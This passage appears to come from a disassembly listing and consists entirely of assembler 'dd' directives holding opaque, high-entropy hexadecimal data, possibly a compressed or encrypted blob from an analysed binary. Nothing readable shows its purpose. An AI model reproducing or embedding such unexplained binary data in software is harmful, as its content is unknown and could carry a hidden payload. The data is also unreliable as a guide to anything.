		dd 684E6EFFh, 79C339D8h, 0E948C185h, 0D471584Bh, 275E9D83h
		dd 0E94D7061h, 20752456h, 0E60DE7D0h, 0AB531317h, 30687D90h
		dd 0A575B4E0h, 884FA982h, 0D560BAD5h, 5107979h,	161EB650h
		dd 0ADE02C68h, 202F8A80h, 641AFEEBh, 8072F803h,	0B6E970F8h
		dd 5A139C01h, 185F0DD0h, 3BB48135h, 5AF18A0Ch, 0D81D92AFh
		dd 9D8E213Bh, 89AF2FA7h, 0BB445D86h, 0D26AF05Bh, 0AC30372Ch
		dd 1612261Dh, 0F462AA2Fh, 4B715DF0h, 6E16FDAFh,	53145597h
		dd 0E9F6699Ah, 0A7360DF7h, 0DD322A69h, 552735EDh, 67148539h
		dd 0D18A7847h, 0EE5944F1h, 4DD76634h, 13BF17B4h, 0FBA6AB70h
		dd 0C5840F0Ah, 0D78A69AAh, 38D64E7Bh, 0EE1AC00h, 0BA97134Ah
		dd 2727CA9Ch, 16F90E75h, 0D587E942h, 0BE82AC4Eh, 7183D1F5h
		dd 450E2337h, 55D90DE5h, 4596B35Ah, 9DAB15C2h, 0A4A36C45h
		dd 1494C5F6h, 435E08C8h, 0BB8D7608h, 1AF746ADh,	70C50E05h
		dd 4A36E144h, 2E42F2FCh, 2493E6F8h, 4F5F9EFEh, 0F04214F1h
		dd 4490F43Fh, 9295B814h, 0AF7BD40Dh, 0BCD0A95Ah, 0B473B041h
		dd 0CAB57295h, 0D07256B4h
		dd 0E913FBEBh, 1D8CAA8Ah, 8C874CCFh, 886B319h, 8578113Eh
		dd 1726B602h, 9656419h,	98FA488Ch, 88B029F4h, 9F0A8283h
		dd 0E1011F01h, 53E2029Fh, 4A22003h, 6220524h, 84080718h
		dd 0B7970933h, 0A70922A1h, 89D5AD44h, 24E512DFh, 0CABE53EBh
		dd 88BD4E80h, 9598BA4Eh, 35C69714h, 74458D71h, 0EF2AFF65h
		dd 386C4673h, 0B34F8021h, 14F97CBCh, 832CB3D5h,	0ED038E8h
		dd 0D438FF4Eh, 0A28F4F85h, 49A896A1h, 38A0AC4Ah, 0FDC245DDh
		dd 0E88A91C7h, 7669339Dh, 15F27237h, 582AB350h,	0C938682Ch
		dd 6B02A9BBh, 33C1E884h, 0D9E9E3BAh, 85C38D4Ch,	689AB7FAh
		dd 0ADB243A6h, 494BD1F4h, 0DA911008h, 6A5EAEE0h, 5F556356h
		dd 6F29A7E9h, 70C23252h, 1A714229h, 5BF62F6h, 2113342Ah
		dd 53FE94BAh, 0E1CFF415h, 45FE593Dh, 684DB33Eh,	0E8041D84h
		dd 9DAA3ECDh, 0A31031BBh, 0C9AF1BD8h, 1B49B21Dh, 4553F93Ah
		dd 1349EE1Ch, 0C7159310h, 4A7D2EAh, 669756ECh, 4250A40Eh
		dd 3C68175Ch, 0E11EEE14h, 2F0D0BDFh, 0D61762FFh, 6953385h
		dd 8D02C630h, 7EBF6079h, 0C8E75320h, 58B674E9h,	8D250F04h
		dd 0C405F19Eh, 188D4A31h, 4D148A05h, 0F5886509h, 1ADD426Ah
		dd 52B05F3Ch, 0FE46E430h, 33155821h, 0CA2BE92Fh, 6E588868h
		dd 5221CCD0h, 5ACA8A64h, 0A258F455h, 0A4CAB53Ch, 0DCDE9A5Dh
		dd 96021C75h, 0BFDF3405h, 0DB14C1A1h, 0AFA480ADh, 0A9EF99D4h
		dd 0E048B180h, 0F850BD3Ah, 0ED375F48h, 4248EC90h, 4348BC37h
		dd 68DBC837h, 1B758B38h, 0A2D1EF55h, 0B7E92B5Bh, 0FDDA524h
		dd 8AA6B3F4h, 9BD50827h, 656ADA2Eh, 0EED727EFh,	34025E5Eh
		dd 4FA6EAF1h, 6D276E90h, 5F219C57h, 0C475ECD8h,	0D02261E0h
		dd 0D408B41Bh, 37B65C2Dh, 0AB02993Fh, 6DFF56F5h, 6DD44473h
		dd 0E5F91FAh, 0C90ABD3Ah, 0DD66D5D8h, 928CCC8Ch, 928C4CB8h
		dd 58FCECBFh, 54E459E0h, 0DE41B98Dh, 864F9118h,	9D76CC43h
		dd 2577B05Eh, 0FD6B4D54h, 6AB8D3BCh, 0C766DC04h, 0F2FF4104h
		dd 19C37FB5h, 5AFE5044h, 895BBC1Bh, 0C5D9DDD8h,	1C190899h
		dd 95A54CF2h, 3684C578h, 54017691h, 0FA81FE41h,	74140162h
		dd 0B5A71514h, 0BF143541h, 311D6F4Ch, 50E029D1h, 76BF2850h
		dd 0E3795BE8h, 0D58C69F5h, 2169B86Dh, 53565770h, 9C0BB124h
		dd 97E9102Dh, 0A7D5BB0h, 0B0058D0Ch, 0C3D9A7B7h, 41B74E00h
		dd 4AB65AB3h, 0EB8BD20h, 89E40A26h, 0D3ED8E07h,	461D3D00h
		dd 3AFC3847h, 0DC0E0672h, 0E62F0277h, 0D815F84Ch, 0C4E8C689h
		dd 490D3975h, 0C933D78Dh, 9B9C9112h, 4F17B924h,	17908266h
		dd 7ED9F72Fh, 0F1F0476Eh, 3E388805h, 0B77FF128h, 19EB3C60h
		dd 420D28C8h, 0C576D98Bh, 28A2DB08h, 8C244825h,	39B7CBCAh
		dd 9358DB3Bh, 3A0B061Eh, 23741F0Eh, 0C0763ADFh,	535051F0h
		dd 8D6266E8h, 0D5D88B4Ah, 7B5C52C9h, 2459408Ch,	326CC33Bh
		dd 120CD5F4h, 7651F374h, 0E49B0272h, 2E437258h,	0EEB155Eh
		dd 0A31B1560h, 0C1B86F31h, 5F5E5BC1h, 6B67A12Bh, 3AF1E0DFh
		dd 6840B0Ah, 77117B80h,	9D51E880h, 0C2FC7CD6h, 0C7D818Fh
		dd 0FD95D972h, 0E188B5B7h, 5150DE7Fh, 38894042h, 0BE6AFE2Bh
		dd 0E2C60C3Ch, 41F982EBh, 52D95709h, 4BC6F469h,	726EF854h
		dd 5FC5B3FEh, 0AAE490F8h, 16D4D80Bh, 4DE29FF0h,	0F17284DEh
		dd 0AE756B83h, 5EF29629h, 42160C32h, 1CFF2D29h,	5503982Bh
		dd 36CC2BF9h, 0FCCA5E33h, 0D453D9FCh, 3454C93h,	7FFF250Ah
		dd 5610556Ch, 0ED4E97E0h, 0E7B36EF3h, 38C219Fh,	0E9552ED0h
		dd 0F9D94E5Dh, 7DA0922Eh, 0E0D0045Dh, 7FB13DBAh, 0D02ADDF8h
		dd 0FD3D1930h, 687E0ABFh, 31D429F8h, 6EE7592Dh,	0AD08C1CDh
		dd 32B2FD58h, 4269C5D7h, 0DF7C45E9h, 5761D045h,	7F013FBFh
		dd 38295722h, 0BABBD552h, 3302142Ah, 0ED5A1242h, 914A96F3h
		dd 0AFA0CB3Ah, 0CA226F9Eh, 378D6EF1h, 37E837B6h, 837F1F62h
		dd 162D0F79h, 2F3AE531h, 3751FDB9h, 8D0AB698h, 98A02CCh
		dd 0E32174FBh, 8E224F75h, 0E2C24555h, 34EAD909h, 38485938h
		dd 37F83F33h, 4E2A51DEh, 7F22004Bh, 492F7EDh, 0BAC9374h
		dd 0D28BB94Ah, 0BEAC65EEh, 9D0901DCh, 89479157h, 427D0D9Eh
		dd 0B58D0F05h, 0D1A43BAFh, 81B9AEE2h, 334BF828h, 2B0B05B8h
		dd 0A889603Fh, 83EA2FCCh, 0FEEE945h, 7C5A0BD2h,	0DC40AAC4h
		dd 0E60C81C8h, 0C40E24FFh, 548DD800h, 26C8EC0Dh, 0BDC813C0h
		dd 900B5A43h, 288C9C4h,	70F7862Eh, 9740BC6Fh, 0FE5D75Dh
		dd 9DD01327h, 84FFCD24h, 7CB872C9h, 36144650h, 4456D861h
		dd 8D2BF015h, 8B0FF2F5h, 0DC43E10Dh, 76FCA97Eh,	0BC807E9Dh
		dd 754EE9C4h, 5D3ED55Ah, 0F9ED8E64h, 271DA938h,	0FEEA8182h
		dd 0B728443Fh, 20FB1A50h, 27407E68h, 0CA51B7F4h, 0A4FE1A44h
		dd 70A9A418h, 9A733504h, 4BC62D5Ch, 0D1EBC173h,	94D5E90h
		dd 31587FC9h, 80DEA6Bh,	33407D43h, 957BBDECh, 0F6AD28ACh
		dd 7B8D71F2h, 4FB5B54Ah, 0EB70EBCAh, 464FB4C5h,	0EC149B0Bh
		dd 4B4CCA80h, 8F2645F5h, 7F85F248h, 0FC533611h,	22D8C090h
		dd 0CF61750Ch, 0AFFDEE62h, 423B89F4h, 8F21A64h,	0C6493B3Ah
		dd 0DA96F689h, 14750DC5h, 43F68293h, 523BF6Ah, 0F6FD0C99h
		dd 8AAD6F1Dh, 6DBBF221h, 0E46CA417h, 0D059A09Dh, 347CA132h
		dd 5532D402h, 12990746h, 0E9D6C290h, 0DF2AD2DFh, 0B836EB13h
		dd 51EEC8A6h, 0F4210AF0h, 0D4C8D091h, 809C9754h, 0E0B81813h
		dd 0E85B45AFh, 5DB3BA60h, 0A30C0B5Bh, 13E6E6D6h, 0F96BED76h
		dd 40BA0CFEh, 81EA4950h, 0C5FB1555h, 6CCAFB83h,	4B742740h
		dd 54C7C876h, 633356B5h, 64CF07E2h, 0F90B56E8h,	0D9EBFF03h
		dd 0EB0202E4h, 5720EAD7h, 0FC41DBDAh, 9064BE2Ah, 6D248795h
		dd 7523FB49h, 0EC5BC566h, 0F02147E2h, 0EE25F490h, 8DEC92E4h
		dd 0AFE553B5h, 0FB4FF04Ch, 846B22BEh, 1AD2E051h, 4AB25A9Fh
		dd 12D5AA3Dh, 8BE72BECh, 955C66D7h, 1EF7B055h, 1C12E104h
		dd 0E5B2F475h, 7AC189B8h, 4221EF1Ah, 8260E5D0h,	33DCA10Ch
		dd 252BFB75h, 8E84B768h, 25537ABEh, 0C4F7FF05h,	115CBBDh
		dd 52BC884Eh, 68B8A1CBh, 60CC3D6Ah, 0B3F9B5E0h,	75274C42h
		dd 23E8BCD9h, 0B5EC4BBEh, 93DDF4CBh, 4D9F2068h,	2C87117Ch
		dd 13272199h, 188DEB1Eh, 0BF7A166Ah, 0F37ABECDh, 66E9130Dh
		dd 5A118BEFh, 3570E032h, 4CA2E810h, 0CDAD4319h,	52E4B630h
		dd 0DC4C1685h, 1EA525DBh, 0D2539808h, 0F44D4D1h, 0FF3A4C32h
		dd 5420C315h, 8C88D8BFh, 1CD4B424h, 0F6AF23DCh,	2DBFC82Ah
		dd 36FFD512h, 0E9F49DF6h, 84C3AD71h, 0C437683Dh, 0D8225718h
		dd 0BB13B41Bh, 89A4F1CBh, 29A02A10h, 9AFD9DE4h,	9377DBF3h
		dd 0E68ABE98h, 14404520h, 0B5D4931Bh, 124DB94Dh, 98BA5118h
		dd 0EB2DDC47h, 101AC51Dh, 75E025FFh, 5B86636h, 0C9086CE7h
		dd 0C04FDFCCh, 8090A06Ah, 715023ABh, 50C81E50h,	150D1FD1h
		dd 11A03A13h, 0FB215398h, 0A0A155A2h, 0E4A30AECh, 8DBD78C4h
		dd 0DF3075A5h, 0A2935576h, 0E371427Eh, 532CA4E4h, 7A225886h
		dd 54B2EFF4h, 855A1888h, 0A3EE2487h, 0D7AD9496h, 0B053999Fh
		dd 448DD8FCh, 865428C8h, 2C292BF9h, 5B20709h, 0BA45DCE0h
		dd 2FA25490h, 47533156h, 0E023280Eh, 5E58C46Ah,	537D8A03h
		dd 3674380h, 57C2984h, 4CF53269h, 4EE82B7Dh, 921C1519h
		dd 9983EA93h, 0F2AFE54Dh, 7022F43Ch, 13EA5DE9h,	0FEA42C12h
		dd 99B2FAF1h, 28DFFE95h
		dd 0A74287Ah, 7C3ECB67h, 69E6445Dh, 84DFDC3Bh, 0C2220299h
		dd 1E431AFh, 0A998FA7Eh, 1410A9B2h, 44840308h, 45328DA2h
		dd 7520F3C4h, 0D5A18AE5h, 0CF028908h, 0A3F06AAh, 22352D74h
		dd 21DAC20Ch, 2F529468h, 67395C9Dh, 0E840C88Ch,	97FE89B5h
		dd 4227B65Fh, 737E18C1h, 0EB02C40Ch, 86346E4Ch,	5BBACA5Fh
		dd 0F2ACE496h, 0B1A37B85h, 0BED8EBF4h, 0AE29D33Dh, 431BE72h
		dd 1E302410h, 4B7CC83Bh, 9CFF1Dh, 4833C0C0h, 7FD13B01h
		dd 0DD54E5AEh, 0AF52EBDBh, 4AD13E63h, 791D79CDh, 0C6BBF70Ch
		dd 0F2558D0Dh, 834508E7h, 8AA01DBCh, 95D0DE6Eh,	3A9F543Dh
		dd 208CF3EAh, 351E8672h, 10F3C23Bh, 42E38BBAh, 44C8F221h
		dd 63496464h, 4B717158h, 91397FBh, 8819CEEBh, 0E6117630h
		dd 0BC21FE51h, 0E1E843BBh, 4717C2E1h, 0D2110EBAh, 9E796D64h
		dd 0A20DEC2Bh, 79095E92h, 219E4AE0h, 0DDB89048h, 0A2D843A0h
		dd 76FD36D8h, 4546202Eh, 7828FAE0h, 0BF29B68h, 0E07B6124h
		dd 0FA00642Fh, 3C9F65E7h, 0FC62FB4Ah, 6903EDACh, 747067F5h
		dd 21B8564Bh, 0F23D6AC4h, 43816CEh, 0A2EEB674h,	0E64E4F0Dh
		dd 0F6277F3Bh, 0B71BCB69h, 425E9AEEh, 0F18124EFh, 668C3E21h
		dd 4EFFED3Bh, 13C4BB0Dh, 0E8520E02h, 27FBC603h,	967FA304h
		dd 850F1674h, 1F9F9CB3h, 7B46E9Fh, 0F72AE816h, 7BD719FFh
		dd 2490997h, 9DB6665Dh,	0A2A9A1D4h, 3124371Ah, 68F1753Fh
		dd 56B95D6Eh, 208337F0h, 1E90E804h, 0A16351BDh,	0C4A56863h
		dd 10A14A02h, 18D01A2Fh, 2938756Ch, 0E4408E68h,	1BDC7250h
		dd 41C238B4h, 17D60401h, 4F64BA11h, 0A2D435h, 0A53DE824h
		dd 0A223E466h, 0E46AD01h, 51938C27h, 7AC4AD4Dh,	89C38752h
		dd 0A364D573h, 14F6469Dh, 71297FE8h, 34570827h,	0FD348236h
		dd 4D15E3E9h, 75CF5329h, 96540C06h, 0A668904h, 0B968D6EBh
		dd 433C73B3h, 505AF6C1h, 2284B820h, 2A1489FEh, 9273BE7h
		dd 0EBE038D5h, 5048AC0Ch, 0A4734108h, 66752987h, 8B43CA3h
		dd 7C8AA35h, 55CE5268h,	8D1C82D0h, 0C04AA514h, 14445177h
		dd 63F5592Bh, 5084B210h, 0F7D1D6AAh, 0C488A04h,	954479C7h
		dd 0A3DA38B3h, 44B07AAAh, 0AE28A87h, 65E5687Fh,	8860D472h
		dd 497FE1Ah, 0D5CC8E58h, 0C477B61Ch, 5AF21CF0h,	569B7F52h
		dd 6C2D32EEh, 20747B54h, 0DA64B789h, 0C9365E97h, 0E72FCF7Ch
		dd 0D7EC1772h, 234D4E8Fh, 0C2361436h, 0DD29D83Bh, 1A2D0EC6h
		dd 4DB36C28h, 51C9E05Eh, 477D0BA9h, 0D904105Ah,	74C03A12h
		dd 47FEBD4Bh, 0C611EB6Fh, 0F44E25C8h, 2F1E317Dh, 903F1656h
		dd 9F02FEEAh, 1017825Ch, 0FD2A5689h, 81416E0h, 450E4948h
		dd 0C15A0005h, 10EB02F8h, 10A7A4E4h, 569F6628h,	737FD2F0h
		dd 75FAA5ADh, 0E48DD695h, 9BAA54CAh, 27AEADCFh,	0B61ABBA9h
		dd 0EBE012F6h, 0F14668E3h, 0C944323h, 95048D0Eh, 17C9B256h
		dd 0B59D1B97h, 0F3BB8A54h, 42AB4F57h, 0FE7F7E6Bh, 0AD7C5519h
		dd 8155ACDAh, 4F685BC8h, 6F41464Bh, 5E568920h, 0B2A9BC19h
		dd 774D924Ah, 7C5A13FEh, 174EB572h, 8402C9B2h, 0FE52D942h
		dd 0D3AEE3FAh, 9DB2DEFCh, 0C2C75169h, 27A34D5Dh, 9C6250FEh
		dd 15752238h, 9650107Ch, 0E943A953h, 196A2D41h,	0AA8EE7FCh
		dd 0D9908B7Fh, 6623CF19h, 856B60Fh, 0BAB25B9Bh,	6BB17C8Dh
		dd 0B6EF8E24h, 38508A73h, 4AF45F72h, 21B10E66h,	66AE8F2Fh
		dd 0CE466115h, 8025D5C1h, 5539D10Bh, 1275320Ch,	0D7320751h
		dd 0EB0E1FD1h, 2E104A35h, 692D22E8h, 531663BCh,	0A08EDE23h
		dd 0C41E8B86h, 3A5FB513h, 314F53CEh, 4B86990h, 0EC848BF7h
		dd 6869F430h, 5A77FC49h, 9E82BF0h, 0FFFD378Eh, 0FE41145Dh
		dd 0D808C251h, 974471E8h, 41E45034h, 93E691FAh,	5C0D330Dh
		dd 17AD4EF6h, 896022A4h, 0B5519215h, 778B6394h,	0AD8E813h
		dd 0FC4F648Bh, 4437D279h, 36F3E871h, 8138EAA4h,	0E11002C7h
		dd 22F82E43h, 679EF0A2h, 7200719Dh, 299B85A9h, 37958211h
		dd 0B2C0B25Ah, 0AD747C20h, 6B70EB0Bh, 0A95BE831h, 0C649C068h
		dd 4EE91AA8h, 6E2AB1CDh, 0A9AC70E8h, 9BE8C0A7h,	0BD464738h
		dd 8622B643h, 0DE22AD85h, 194BBA45h, 0E8ACB0D0h, 0D763916Bh
		dd 0C68B64Eh, 7E0B8F25h, 724E7465h, 5230EA28h, 682A3B9Bh
		dd 0C7FE771Dh, 8720012Ah, 0AD114FD4h, 91C9C018h, 6B0879E0h
		dd 257C1A8Ch, 66F743CFh, 24E8FC0Ah, 0D18908DFh,	0D027A151h
		dd 13356D09h, 0EC7CDC86h, 5AA0C887h, 0D110940Eh, 0C5BF4EA5h
		dd 56509B25h, 134B8E80h, 80494629h, 940B0BD1h, 17A1A220h
		dd 0FE645E08h, 0FFFD7D1Ch, 0E9595E61h, 472CAC00h, 593421E1h
		dd 0E5BA4C21h, 0A4400B1h, 8490466Ah, 4872FE6Dh,	64402937h
		dd 0FD787148h, 38E5B20Ah, 0D8870A0Dh, 0E78F631Eh, 57B0AA3Dh
		dd 38E0E805h, 1355A11Dh, 2E507A88h, 0D19D5905h,	6841ECA4h
		dd 40E19919h, 0AB26432Ch, 0B9A0E84Bh, 5BA08C60h, 0C16F1FCh
		dd 0F147598h, 1F0D0D8Ah, 8855C980h, 0B0304209h,	0A2A93068h
		dd 631CC18Ch, 2798504Fh, 0F45B25FFh, 4C0CB219h,	0C4811FEh
		dd 40438644h, 38903C21h, 306434C8h, 28192C32h, 4386500Ch
		dd 901C2120h, 6414C818h, 190C3210h, 86040C08h, 0A9FC0CE1h
		dd 380C247Eh, 3C3B5342h, 44064443h, 21484386h, 0C850904Ch
		dd 32586454h, 0C60195Ch, 68438664h, 70906C21h, 786474C8h
		dd 80197C32h, 4386840Ch, 908C2188h, 6494C890h, 199C3298h
		dd 86A40CA0h, 0AC21A843h, 0B4C8B090h, 0BC32B864h, 0C40CC019h
		dd 21C84386h, 0C8D090CCh, 32D864D4h, 0CE019DCh,	0E84386E4h
		dd 0F090EC21h, 0F864F4C8h, 821BFC32h, 0C041154h, 0C438608h
		dd 0D4881021h, 4A144552h, 9006180Ch, 6420C81Ch,	19283224h
		dd 86300C2Ch, 38213443h, 40C83C90h, 48324464h, 500C4C19h
		dd 580CF786h, 215C4386h, 0C8649060h, 326C6468h,	0C741970h
		dd 7C438678h, 84908021h, 8C6488C8h, 94199032h, 4386980Ch
		dd 90A0219Ch, 64A8C8A4h, 19B032ACh, 86B80CB4h, 0C021BC43h
		dd 0C8C8C490h, 0D032CC64h, 0D80CD419h, 21DC4386h, 0C8E490E0h
		dd 31EC64E8h, 30085334h, 212C4386h, 0C8249028h,	321C6420h
		dd 0C141918h, 0C438610h, 4900821h, 0FC8821DCh, 32F84452h
		dd 0CF019F4h, 0E84386ECh, 0E090E421h, 0D864DCC8h, 0F500FC56h
		dd 85629CAEh, 29BBB74Ah, 5C02F96h, 951D7F5Ah, 0D7C96C76h
		dd 0EB1016A4h, 1AA53C89h, 204B1BF0h, 0B2B51E9h,	185C252Ah
		dd 0C959916Eh, 0CF3D0C29h, 71D8A7B1h, 8E0C08ECh, 0AF4817FBh
		dd 7C712E29h, 8EBF4B3Bh, 0DD284F0Fh, 0EB57B419h, 0D71F78Bh
		dd 0FC13B81h, 12BD4E84h, 8256EECEh, 3CAB2EE8h, 0B9B543A0h
		dd 0CFA44151h, 0EEAEE33h, 0B2AFA54Dh, 0CF86C0Bh, 55025E8h
		dd 7F35BAD5h, 6FB4DAE4h, 74ACE895h, 9DEA524Ah, 5C2CFD24h
		dd 5C95F424h, 29F5E98Fh, 829CDF32h, 5B5F453h, 9674D03Bh
		dd 0B68A28BAh, 2BE48442h, 0C12B17DEh, 6EEDE0B8h, 0C5082008h
		dd 1785F235h, 9D8B0DB9h, 0A80F7D17h, 1274F194h,	9C30FE3Ah
		dd 4A44E852h, 684BCD47h, 0B03A4A8Ah, 5C00484Bh,	5579F5C9h
		dd 406555E9h, 0F0E04CC9h, 3EC2E101h, 7A5C3E21h,	0CA25FB71h
		dd 0FD623374h, 0A70353F4h, 5CB78BB6h, 4A735EF6h, 985EBF93h
		dd 7582E26Fh, 5BBC98E6h, 222D5C9h, 5CFB467Dh, 0B4419A33h
		dd 69858BEEh, 48F073D7h, 0FAE4D370h, 41CAE6E8h,	0A4D72738h
		dd 0DCEA4847h, 0C537D52h
		dd 72318886h, 0BAD2330Eh, 76601896h, 3A168178h,	522898A3h
		dd 4BC9B56Eh, 4E4CE2F6h, 4D890C4Eh, 93FC77E2h, 206D3A6Dh
		dd 3BAA98ADh, 91147450h, 8A191638h, 0F3186FEFh,	0E7DABE52h
		dd 32B4C043h, 44C15B4h,	0C234FEBFh, 0ED7D5AD3h,	0E870A319h
		dd 667A6BB9h, 3ED021F9h, 0D2646BB0h, 48503F97h,	207CA200h
		dd 79E81B6Ah, 57FE8127h, 872568BBh, 0FF12DD0Fh,	30608FF7h
		dd 1DF745D9h, 79109FA4h, 0ACF03CB1h, 0B65A462Eh, 9C025BAh
		dd 0BEAB935Fh, 0D7664950h, 642EFE93h, 36A23043h, 2A08D21Ch
		dd 0B2304200h, 797E3206h, 9F0FC001h, 4DCA8BC2h,	9230A370h
		dd 0DA202B08h, 0A1701D13h, 30182D17h, 0B9585756h, 80BE863Ah
		dd 7D8D0565h, 0FBA5F3E0h, 0AB93A1A3h, 2E44435h,	0D5514FE4h
		dd 9F2FE01h, 415E5F14h,	70746C69h, 0BDD69576h, 918D16Eh
		dd 0A5E92166h, 591ED697h, 0E1AC2E31h, 18C2FAA4h, 7715D1Dh
		dd 7F5AFA40h, 813DAC0Fh, 0A57520DFh, 0EB3D82F2h, 562C516Bh
		dd 0A57F7423h, 95603CF7h, 0FB0016F7h, 138EF2Bh,	0FE7F21E3h
		dd 0D76D0B5Ah, 0D0480067h, 0E8944756h, 0B731AE5Ah, 7D417DF6h
		dd 66D96A19h, 0B666FACh, 3055039Dh, 0A9067540h,	4B7B302Ah
		dd 137F8D71h, 0CA4EB59Ch, 95601F68h, 21AFB1F5h,	0AE1CD64Ch
		dd 0CD69952Ch, 0F56062FCh, 5EA0C0E0h, 88508FE1h, 1D5851D8h
		dd 0BCD0AD6Bh, 0F8374258h, 0C8374358h, 57435C4Dh, 0EB5A54D1h
		dd 3021D06Eh, 5844C33Ch, 0F9851C0Fh, 17772D01h,	0E37E25D0h
		dd 2B53D77Ah, 651459EBh, 0F5B2B8BDh, 368412ADh,	0AA28EE3Ah
		dd 0E49A8345h, 465E12DCh, 0FFB6D6E4h, 27E5702Dh, 0D332752Dh
		dd 6CAD801Dh, 2E4256B7h, 4EBAF069h, 3CEA1BD6h, 9DD4F04Ch
		dd 180BF0C5h, 0C5B97101h, 91A561D4h, 0BE9B3B39h, 0DC29CBE2h
		dd 4EDF2535h, 0D7A98AF0h, 0A068307Bh, 160EA2E7h, 3446CFBBh
		dd 25EEF938h, 3727E8E5h, 3B675C2Ah, 8D7FE3Fh, 0C8DF90FBh
		dd 1CAB06EBh, 3AF72CC6h, 0B0D7DEECh, 2E4F7F0Fh,	560322AFh
		dd 27753282h, 0D455194Ch, 2A3D6E20h, 0E323EC3Ah, 0FC299232h
		dd 12D45932h, 0E81255DCh, 6B543991h, 0BCFCB2B8h, 55F07EBDh
		dd 4440CD2Dh, 0D8FF5317h, 5D970BB9h, 0D9EB6A38h, 750B17A5h
		dd 8B44790Ah, 4679F8D1h, 74D05E2Fh, 9BE810B1h, 0D18A5C45h
		dd 596188Bh, 0C5E9A15Bh, 3A6EB06Ah, 99EB8C54h, 0AE8D97A9h
		dd 7F698B27h, 0DBE87368h, 1CA5FF95h, 8B3EE918h,	91564513h
		dd 0F223880Ch, 0EA7F8029h, 6BD9CC34h, 0BC7F446Eh, 0FE26B094h
		dd 242527E9h, 0EC899142h, 0F13D944h, 0BF8C0884h, 2D82F5E9h
		dd 0E348B8C3h, 0E7D9B2C3h, 9EA8214Bh, 0FC081452h, 0E4103323h
		dd 0B822F4C2h, 0CD1A8474h, 0C46ACC4Fh, 98C2100Bh, 28E8C8A1h
		dd 223A23D5h, 0AD6BE460h, 9DF0B42Bh, 0F7F8C221h, 884190FFh
		dd 43748D88h, 10D021D8h, 21ECB86Dh, 0F890B8E8h,	1152A19Fh
		dd 0E5185580h, 0A172D89h, 0C0DC5501h, 0
		dd 3C10000h, 3C47766Bh,	90226C2h, 1116145h, 14C2059Ah
		dd 7309600h, 0E612C77h,	51BA01EEh, 0C4199909h, 0F48FF46Dh
		dd 35706A00h, 0A3E963A5h, 9E640095h, 0EDB8832h,	0DC1FB8A4h
		dd 0D58F1E79h, 0D2D960E0h, 4C2B97h, 7CBD09B6h, 2D077EB1h
		dd 91E7B800h, 6490BF1Dh, 0B77610h, 6AB020F2h, 0F3B97148h
		dd 0BE41DE00h, 0DAD47D84h, 0E4EB031Ah, 0B5516DDDh, 85C7F4C8h
		dd 5683D300h, 0C0136C98h, 646B00A8h, 0FD62F97Ah, 6500C9ECh
		dd 15C4F8Ah, 386CD914h,	3D806306h, 0DF5FA0Fh, 0C8008D08h
		dd 5E3B6E20h, 4C6910h, 0D56041E4h, 0A2677172h, 300D179h
		dd 4D4473Ch, 85FD4Bh, 0B56BD20Dh, 0A8FAA50Ah, 6C0035EAh
		dd 0D642B298h, 7DBBBC9h, 0ACBCF940h, 32D8D0E3h,	0DF005C75h
		dd 0D60DCF45h, 13D59DCh, 30ACABD1h, 0C03A26D9h,	807251DEh
		dd 16C8D700h, 0B5BFD061h, 21B400F4h, 56B3C423h,	0BA019599h
		dd 0BDA50FCFh, 2C89EB8h, 88080028h, 0D9B25F05h,	2400C60Ch
		dd 87B10BE9h, 2F6F7Ch, 58684C11h, 0C1611DABh, 662D3D00h
		dd 0DC4190B6h, 71060076h, 20BC01DBh, 2A0198D2h,	89EFD510h
		dd 1FF8B185h, 6B600B5h,	9FBFE4A5h, 0B800D433h, 7C9A2E8h
		dd 0E0F93478h, 0A88E000Fh, 98189609h, 0BB00E10Eh, 2D7F6A0Dh
		dd 86D3Dh, 91646C97h, 0E6635C01h, 6B51F41Ch, 0A061624Fh
		dd 6530D81Ch, 0F44E7085h, 95ED1FF2h, 0A57B4006h, 0F4C11B01h
		dd 57820800h, 0C6F50FC4h, 65B000D9h, 12B7E950h,	0BE00B8EAh
		dd 0B9887C8Bh, 11DDFFCh, 2D4962DDh, 0F4F315DAh,	65008CD3h
		dd 58FBD44Ch, 484DB261h, 3A1C2DCEh, 0A3BC0074h,	0D4BB30E2h
		dd 0DFA54101h, 0D895D74Ah, 0D1C4C480h, 0D6F4FBA4h, 0E96AD300h
		dd 0D9FC4369h, 4634006Eh, 0D0AD6788h, 0DA0060B8h, 44042D73h
		dd 31DE5h, 0A4C5F33h, 0D7CC9AAh, 713CDD07h, 41905005h
		dd 0E2102702h, 86BE000Bh, 25C90C20h, 570F68B5h,	406F85B3h
		dd 0B966D409h, 61E4009Fh, 0DEF90ECEh, 0C90E985Eh, 0A02229D9h
		dd 0A8B4B0D0h, 17C701D7h, 8159B33Dh, 3B2EE80Dh,	0B7BD5C00h
		dd 0C0BA6CADh, 0B8830020h, 0BFB3B6EDh, 0E2760C9Ah, 0D2000375h
		dd 473974B1h, 79AFEAD5h, 159D0077h, 8304DB26h, 7300DC16h
		dd 0E3630B12h, 1643B84h, 6D6A3E94h, 0D55AA80Dh,	0ECFFC7Ah
		dd 0FF9DE401h, 0AE279309h, 0FB10AC0h, 447D079Eh, 0D2F00F40h
		dd 870008A3h, 1E01F268h, 6C2FEh, 62575D69h, 6567CBF7h
		dd 36718003h, 0F8E7196Ch, 766E6Bh, 0E0FED41Bh, 5A89D32Bh
		dd 10DA7A00h, 67DD4ACCh, 0B9DF1C6Fh, 0BEEF43F9h, 0B798438Eh
		dd 0B0ECD517h, 0A3E8600Eh, 937E20D6h, 0C4A1D1h,	5238D8C2h
		dd 0F14FDFF2h, 0F3BB673Eh, 0A6BC5700h, 3FB506DDh, 0B236004Bh
		dd 0D2BDA48h, 1B034CD8h, 4AF6AF0Ah, 7A60F003h, 0C3411D04h
		dd 55DF8EEFh, 70A86747h, 79316E8Eh, 4669BE00h, 0CB61B38Ch
		dd 6683001Ah, 6FD2A0BCh, 0E2003625h, 77955268h,	3CC0Ch
		dd 0B9BB0B47h, 2F220216h, 55052600h, 0C5BA3BBEh, 0BDFE28h
		dd 0B45A92B2h, 0B36A042Bh, 0FFA75C00h, 0CF31C2D7h, 8BB500D0h
		dd 1D2CD99Eh, 5B3FDEAEh, 9B6400B0h, 0EC63F226h,	6AA3009Ch
		dd 6D930A75h, 63DA902h,	363F8009h, 6785EB0Eh, 13721C07h
		dd 82050057h, 1495BF4Ah, 0E2B87A00h, 7BB12BAEh,	0B61B0038h
		dd 0D28E9B0Ch, 0BE000D92h, 0EFB7E5D5h, 0F217CDCh, 0D40BDBDFh
		dd 4286D3E1h, 0F8F1D8E2h, 68DDB300h, 1FDA836Eh,	0BE1600CDh
		dd 0B9265B81h, 771CE1F6h, 47C16FB0h, 5AE618B7h,	707E30h
